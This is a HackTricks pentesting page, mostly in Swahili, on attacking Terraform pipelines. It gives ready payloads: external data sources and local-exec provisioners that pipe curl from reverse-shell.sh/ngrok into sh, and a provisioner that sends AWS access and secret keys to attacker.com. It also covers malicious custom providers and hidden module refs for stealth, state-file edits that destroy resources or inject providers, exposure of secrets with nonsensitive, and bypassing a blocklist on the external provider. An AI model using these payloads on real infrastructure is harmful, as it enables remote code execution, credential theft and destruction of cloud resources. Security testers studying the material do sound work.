Terraform Security

Support HackTricks

Taarifa za Msingi

Kutoka kwenye docs:

HashiCorp Terraform ni chombo cha miundombinu kama msimbo ambacho kinakuruhusu kufafanua rasilimali za wingu na za ndani katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuziandika upya, kuzitumia tena, na kuzishiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana kusambaza na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS.

Terraform inafanya kazi vipi?

Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma nyingine kupitia interfaces zao za programu za maombi (APIs). Watoa huduma wanaruhusu Terraform kufanya kazi na jukwaa au huduma yoyote yenye API inayopatikana.

HashiCorp na jamii ya Terraform tayari wameandika zaidi ya watoa huduma 1700 kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye Terraform Registry, ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi.

Mtiririko wa msingi wa Terraform unajumuisha hatua tatu:

  • Andika: Unafafanua rasilimali, ambazo zinaweza kuwa kwenye watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kusambaza programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo.

  • Panga: Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako.

  • Tumia: Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual.

Maabara ya Terraform

Sakinisha terraform kwenye kompyuta yako.

Hapa una mwongozo na hapa una njia bora ya kupakua terraform.

RCE katika Terraform

Terraform haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform.

Hata hivyo, terraform ni kipengele nyeti sana kuathiri kwa sababu itakuwa na ufikiaji wa kijasiri kwa maeneo tofauti ili iweze kufanya kazi ipasavyo.

Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni kuathiri hazina inayohifadhi usanidi wa terraform, kwa sababu kwa wakati fulani wata fasiriwa.

Kwa kweli, kuna suluhisho huko nje ambazo zinafanya mpango wa terraform/tumia kiotomatiki baada ya PR kuundwa, kama Atlantis:

Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza terraform plan au terraform apply.

Mpango wa Terraform

Mpango wa Terraform ni amri inayotumika zaidi katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo njia rahisi ya kupata RCE ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika terraform plan.

Kutumia mtoa huduma wa nje

Terraform inatoa mtoa huduma wa nje ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data external kuendesha msimbo wowote wakati wa plan.

Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha shell ya rev wakati wa kutekeleza terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Kutumia mtoa huduma maalum

Mshambuliaji anaweza kutuma mtoa huduma maalum kwenye Terraform Registry na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele (mfano kutoka hapa):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Mtoa huduma anapakuliwa katika init na atatekeleza msimbo mbaya wakati plan inatekelezwa

Unaweza kupata mfano katika https://github.com/rung/terraform-provider-cmdexec

Kutumia rejeleo la nje

Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia ya siri zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza kupakia rasilimali ya nje ambayo ina rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha kodi ya rev shell ya terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza faili ya Terraform yenye local-exec. Unahitaji tu kuhakikisha payload fulani kama ifuatavyo inamalizika katika faili ya main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu ya awali ili kufanya shambulio hili kwa njia ya siri zaidi kwa kutumia marejeleo ya nje.

Mifuko ya Siri

Unaweza kuwa na thamani za siri zinazotumiwa na terraform zikiwa zimepakiwa ukikimbia terraform apply kwa kuongeza kwenye faili ya terraform kitu kama:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusing Terraform State Files

Katika hali ambapo una ruhusa ya kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, utafiti huu unatoa chaguzi za kuvutia za kunufaika na faili hiyo:

Deleting resources

Kuna njia 2 za kuharibu rasilimali:

  1. Weka rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu

Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)

Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya.

RCE

Pia inawezekana kuunda mtoa huduma maalum na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka kwa utafiti wa awali:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Replace blacklisted provider

Katika hali unayokutana nayo ambapo hashicorp/external imewekwa kwenye orodha ya watu wasiokubalika, unaweza kuanzisha upya mtoa huduma external kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au upya-utekelezaji pia.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Kisha unaweza kutumia external kama kawaida.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Audit Tools

  • tfsec: tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform kubaini uwezekano wa makosa ya usanidi.

  • terascan: Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo.

References

Support HackTricks

Last updated